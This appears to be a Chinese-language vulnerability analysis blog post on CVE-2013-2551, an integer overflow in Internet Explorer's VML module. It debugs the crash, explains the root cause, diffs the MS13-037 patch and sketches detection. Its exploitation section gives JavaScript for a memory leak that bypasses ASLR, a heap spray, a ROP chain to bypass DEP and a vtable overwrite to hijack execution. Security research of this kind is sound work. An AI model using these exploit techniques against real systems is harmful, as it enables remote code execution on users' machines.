CVE-2013-2551样本分析及漏洞利用和防御
导语：CVE-2013-2551漏洞由VUPEN团队发现、利用，随后在其博客中公开利用细节。
0x0 写在前面
VUPEN团队在Pwn2Own 2013黑客大赛上使用漏洞攻破Windows 8环境下的IE10，随后在其博客上公开了技术细节。根据VUPEN描述，该漏洞产生于VGX.DLL模块，在VML语言中处理图形标签的stroke子元素的dashstyle存在安全隐患
微软在安全公告MS13-037中详细列举了受影响软件范围从IE6-IE10，并给出相应平台的安全更新
本文调试的Poc由4B5F5F4B根据VUPEN在博客中公开的信息构造
调试思路是对IE开启页堆，利用调试器支持，实时检测到溢出之后，根据函数调用关系往上一层一层跟踪数据来源和阅读反汇编代码，寻找漏洞触发的关键点
0x1 调试环境 & 样本信息
1.1 调试环境
-
[操作系统]：Windows 7 Ultimate SP1(X64)、 Windows 7 Ultimate SP1(X86)
-
[浏览器]：Internet Explorer 8.0.7601.17514
-
[调试器]：Windbg 6.11.0001.402 X86
-
[反汇编器]：IDA Pro 6.8.150423(32-bit)
1.2 样本信息
-
[样本名]：poc.html
-
[MD5]：0B8CBEE6465D1D22B79866DE997C509A
-
[SHA1]：161621EF49A453692537DBC33D10DDC73EB5133D
-
[CRC32]：FAE274A5
0x2 样本调试
2.1 对IE浏览器开启页堆
2.2 运行样本
使用Windbg附加IE，然后运行样本，允许加载ActiveX控件，并点击页面中的crash按钮
2.3 查看崩溃时信息
崩溃语句信息
0:012> g (894.f80): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=201c7064 ebx=72a94964 ecx=00000001 edx=00000000 esi=201c7060 edi=08b69d44 eip=76de9966 esp=08b69d00 ebp=08b69d08 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 msvcrt!memcpy+0x158: 76de9966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:201c7060=????????
栈的调用关系
0:004> kb ChildEBP RetAddr Args to Child 08b69d08 72a3cfa9 08b69d44 201c7060 00000004 msvcrt!memcpy+0x158 08b69d1c 72a8da0f 20c5afe8 08b69d44 00000044 vgx!ORG::Get+0x27 08b69d48 76c53e75 20c5afe8 00000044 08b69dac vgx!COALineDashStyleArray::get_item+0x8c 08b69d68 76c53cef 20e62ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165 ...(lines have been omitted)...
查看vgx模块的详细信息
0:004> lm vm vgx start end module name 72a10000 72ad1000 vgx (pdb symbols) c:symboslVGX.pdb3CED25965F214824ABDF507AE4541DE32VGX.pdb Loaded symbol image file: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll Image path: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll Image name: vgx.dll Timestamp: Tue Jul 14 09:11:08 2009 (4A5BDB2C) CheckSum: 000C2C1E ImageSize: 000C1000 File version: 8.0.7600.16385 Product version: 8.0.7600.16385 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Windows® Internet Explorer InternalName: VGX.DLL OriginalFilename: VGX.DLL ProductVersion: 8.00.7600.16385 FileVersion: 8.00.7600.16385 (win7_rtm.090713-1255) FileDescription: Microsoft Vector Graphics Rendering(VML) LegalCopyright: © Microsoft Corporation. All rights reserved.
2.4 使用IDA查看崩溃点附近代码
msvcrt!memcpy函数经过千锤百炼几乎不用去怀疑，直接查看上层调用
计算偏移：0x72a3cfa4 – 0x72a10000 = 0x2CFA4
该版本vgx.dll模块在IDA中的基址为：0x198C0000
经过计算，memcpy函数在地址0x198ECFA4处被调用
经过分析，src为结构体第4项数据 + （结构体第2项数据 && 0xFFFF）* arg_8
2.5 继续查看上层函数
在Windbg中查看(vgx!COALineDashStyleArray::get_item+0x89)
72a8da0c ff511c call dword ptr [ecx+1Ch] 72a8da0f 8b4510 mov eax,dword ptr [ebp+10h]
计算该语句在IDA中的地址
0x72a8da0c - 0x72a10000 + 0x198C0000 = 0x1993DA0C
使用IDA查看该函数
使用Windbg跟踪vgx!COALineDashStyleArray::get_item的执行流程
重新运行样本
0:015> .childdbg 1 Processes created by the current process will be debugged 0:015> bu 72a8da0c - 72a10000 + vgx.dll 0:015> bu 72a8d983 - 72a10000 + vgx.dll 0:015> bl 0 e 70a4da0c 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item+0x89 1 e 70a4d983 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item
经过调试，在vgx!COALineDashStyleArray::get_item+0x70处调用vgx!ORG::CElements函数
vgx!COALineDashStyleArray::get_item+0x70:
70a4d9f3 ff512c call dword ptr [ecx+2Ch] ds:002b:709e7284={vgx!ORG::CElements (709fd079)}
单步步入vgx!ORG::CElements函数
根据movzx指令判断，该数值为无符号数
函数返回后，对使用0扩展之后的无符号数进行了有符号的条件判断
之前的unsigned short int 0扩展之后被强转为 int，且样本传入的数值为0xFFFF，造成整数溢出
0x3 漏洞利用
本文漏洞利用针对没打任何补丁的Windows 7 Ultimate SP1(X86) 环境，结合源码和调试分析利用过程
本文中漏洞利用代码主要参考调试的Poc样本代码、以及网上的公开代码整理编写
漏洞利用成功截图
Poc源码中溢出的关键语句:
vml1.dashstyle.array.length = 0 - 1
3.1 过ASLR
过ASLR的源码大致如下:
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "Khwarezm111";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 0x470B0;
在赋值之后，加入弹框把流程中断下来
vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
alert("pause");
使用Windbg附加运行，弹出窗口后在Windbg上点击暂停，然后搜索数值0x7ffe0300
0:015> s -b 0x0 L?0x7fffffff 00 03 fe 7f 020ce7c8 00 03 fe 7f c4 ea 0d 02-90 d5 0c 02 00 00 00 00 ................ 020dbfa3 00 03 fe 7f 25 01 00 5b-03 14 1e 74 05 00 00 0a ....%..[...t.... 020dccb8 00 03 fe 7f 00 00 00 00-80 00 0b 02 00 00 00 00 ................ 04be5c78 00 03 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................ 762113e6 00 03 fe 7f ff 12 c2 04-00 90 90 90 90 90 90 90 ................ 76212b41 00 03 fe 7f ff 12 c2 08-00 90 90 90 90 90 b8 01 ................
搜索的记录太多无法验证，那么我们再搜索字符串"Khwarezm111"
0:015> s -u 0x0 L?0x7fffffff "Khwarezm111" 0044df04 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m. 004b48b8 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m.
接着搜索数值0x0044df04
0:015> s -b 0x0 L?0x7fffffff 04 df 44 00 04bc8568 04 df 44 00 00 00 00 00-00 00 00 00 00 00 00 00 ..D............. 04c0cdcc 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D. 04c0cdd8 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl 04c22c84 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D. 04c22c90 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl
结合以上三个搜索结果，可以猜测地址0x04be5c78就是我们寻找的保存数值0x7ffe0300的地方
在内存窗口验证猜测
往前翻，其内存布局如下
查看圈红处的数据
0:015> db 04a08124 L16 04a08124 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m. 04a08134 31 00 31 00 31 00 1.1.1. 0:015> db 04a0814c L16 04a0814c 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m. 04a0815c 31 00 31 00 31 00 1.1.1.
可以看见，上诉代码在一片对象中间利用dashstyle属性插入了和一个对象相同大小的数组，利用溢出，定位到数组后一个对象保存字符串首地址的地方，通过越界写入任意值，然后利用对象的属性定位到该任意值
本文利用固定偏移泄露NTDLL.DLL的基址
0:015> dd 7ffe0300 L1 7ffe0300 778970b0 0:015> u 778970b0 ntdll!KiFastSystemCall: 778970b0 8bd4 mov edx,esp 778970b2 0f34 sysenter
3.2 精确喷射
精确堆喷到地址0x0c0c0c0c，源码大致如下:
var fill = unescape("%u0c0c%u0c0c");
while (fill.length < 0x1000){
fill += fill;
}
// [ padding offset ]
padding = fill.substring(0, 0x5F6);
// [ fill each chunk with 0x1000 bytes ]
evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);
3.3 过DEP
使用ROP链过DEP，源码大致如下:
function getRealAddr(base ,offect){
var real_addr = base + offect;
var str = real_addr.toString(16);
var s1 = str.substring(0,4);
var s2 = str.substring(4,8);
return "%u" + s2 + "%u" + s1
}
ntdll_base = getNtdllBase();
stack_pivot = getRealAddr(ntdll_base,0x0001578a);
stack_pivot += getRealAddr(ntdll_base,0x000096c9);
stack_pivot += getRealAddr(ntdll_base,0x00015789);
ntdll_rop = getRealAddr(ntdll_base ,0x45F18);
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%uffff%uffff";
ntdll_rop += "%u0c34%u0c0c";
ntdll_rop += "%u0c38%u0c0c";
ntdll_rop += "%u0040%u0000";
ntdll_rop += "%u0c3c%u0c0c";
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%u0400%u0000";
ntdll_rop += "%u4141%u4141";
rop_chains = unescape(stack_pivot + ntdll_rop);
3.4 劫持EIP
劫持EIP的源码大致如下:
for (var i=0; i<0x1000; i++){
a2[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a2[i];
CollectGarbage();
}
location.reload();
由于0x0c0c0c0c在内存中存在太多，不方便搜索，将其修改为一个比较特殊的值0x0eeeee0e，然后加入弹框
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0eeeee0e;
alert("pause");
使用windbg附加运行，在弹框后暂停，然后搜索数值0x0eeeee0e
0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e 01a25c49 0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc ....%......t.... 01a2ca8a 0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a ....%..[.(.t.... 01a2cfc0 0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00 ................ 12b60280 0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12 ....P........<..
根据对其，可以排除第一个搜索结果，由于搜索到的结果不多，可以根据其分布在数组{1，2，3，4}之后寻找
经过在内存中往上寻找数组，地址0x12b60280符合条件
查看附近内存布局
我们看到，一个COAShape对象紧接着一个COAReturnedPointsForAnchor对象，它们占用的内存空间都是一样的。根据源码，我们可以知道，通过布置跟对象大小相同的数组，利用溢出，定位到后一个对象(此处是COAShape对象)的虚表
查看COAShape虚表的内容
此时我们知道虚表指针被改写了
对0x0eeeee0e下执行断点，中断时查看函数的调用关系
0:005> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c 020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf 020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56 ...(lines have been omitted)...
查看上层调用
mshtml!ClearInterfaceFn: 6a23f202 8b08 mov ecx,dword ptr [eax] 6a23f204 832000 and dword ptr [eax],0 6a23f207 85c9 test ecx,ecx 6a23f209 7501 jne mshtml!ClearInterfaceFn+0x9 (6a23f20c) 6a23f20b c3 ret 6a23f20c 8b01 mov eax,dword ptr [ecx] 6a23f20e 51 push ecx 6a23f20f ff5008 call dword ptr [eax+8] 6a23f212 ebf7 jmp mshtml!ClearInterfaceFn+0xf (6a23f20b)
地址0x6a23f20f是在调用虚表第二项，正常情况是Release函数，溢出后，劫持了EIP
构造的利用样本将在此处执行换栈操作
0:005> u poi(0c0c0c0c + 8) L1 ntdll!A_SHAInit+0x2e: 77865789 94 xchg eax,esp
3.5 不使用0x7ffe0300泄露NTDLL.DLL基址过ASLR
使用固定偏移泄露NTDLL.DLL的基址在打过补丁的Windows 7系统上已经不能使用了，实际利用中局限性比较大。我们可以考虑泄露其他模块的基址，或者换种思路泄露NTDLL.DLL基址
对于已有的利用代码来讲换种方式泄露NTDLL.DLL基址对代码的改动量比较小
查看漏洞模块自身的导入表信息
好吧，没有导入NTDLL.DLL的函数。那么我也比较懒，泄露VGX.DLL模块的基址，通过导入表找到KERNEL32.DLL，针对其中某个函数到NTDLL.DLL基址的固定偏移泄露NTDLL.DLL基址。简单可行，源码改动小。当然，缺点是VGX.DLL模块版本限定太死
源码大致如下：
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
/////////////////////////////////////////////////////////
//offset to PE
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
var leak = a[i].marginLeft;
pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
//find import directory
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
var leak = a[i].marginLeft;
import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
//find kernel32.dll
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
var leak = a[i].marginLeft;
thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
//find first function address
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
var leak = a[i].marginLeft;
first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
ntdll_base = first_function_addr - 0x47760;
//return original value
vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
/////////////////////////////////////////////////////////
alert("base of ntdll.dll : " + ntdll_base.toString(16));
break;
}
}
return ntdll_base;
0x4 漏洞检测
通过本文第二部分分析，已经知道在vgx!ORG::CElements函数内造成溢出
源码中的关键溢出语句：
vml1.dashstyle.array.length = 0 - 1;
从数据关系的角度来看，银行柜台办理存款业务时，柜员收到现金的时候，应该先验钞还是先办理存款登记再验证钞票真伪？答案显然是前者。那么我们的检测点也应该提前到数据输入的地方。
4.1 根据微软安全公告下载补丁
根据微软的安全公告MS13-037下载到补丁KB2829530，补丁前后的VGX.DLL文件版本分别为
-
[补丁前]：8.0.7601.18106
-
[补丁后]：8.0.7601.18126
4.2 使用Bindiff对比文件
使用Bindiff对比vgx.dll之后，根据符号名称猜测是在COALineDashStyleArray::put_length函数进行的修补
进行对比
通过Windbg调试验证
走到判断数值是否小于0
G一下，利用样本正常运行，没有触发漏洞
我们可以钩取COALineDashStyleArray::put_length函数前五字节，插入判断代码，判断参数的值是否小于0，如果小于0提示用户触发CVE-2013-2551,否则还原流程
检测代码编写略
检测效果截图
0x5 总结
该漏洞属于整数溢出漏洞。其漏洞原因在于VGX.DLL模块中处理dashstyle.array.length属性时未对输入参数进行有效检查。利用溢出造成任意地址读写，改写虚表指针劫持EIP获得任意代码执行的能力
根据参考代码，笔者通过泄露NTDLL.DLL模块基址的方式绕过ASLR，当然，此次绕过的方式并不具有通用性，漏洞利用技巧也是笔者需要更多学习、思考以及参考野外样本利用方式待以提升的地方
最后编码对该漏洞利用样本进行动态检测，从数据关系的角度来看，一定是在获取外部数据的位置部署检测代码。笔者对关键函数进行API HOOK，一旦外部数据不合法立即提示给用户
0x6 参考资料
[1] 4B5F5F4B《CVE-2013-2551/MS13-037 POC》
[2] Danny__Wei《CVE-2013-2551漏洞成因与利用分析》
[3] tedjoy《Advanced Exploitation Technology-Analyze》
[4] hac425《IE浏览器漏洞利用技术的演变 ( 二 )》
[5] Yang Yu《DEP-ASLR bypass without ROP-JIT》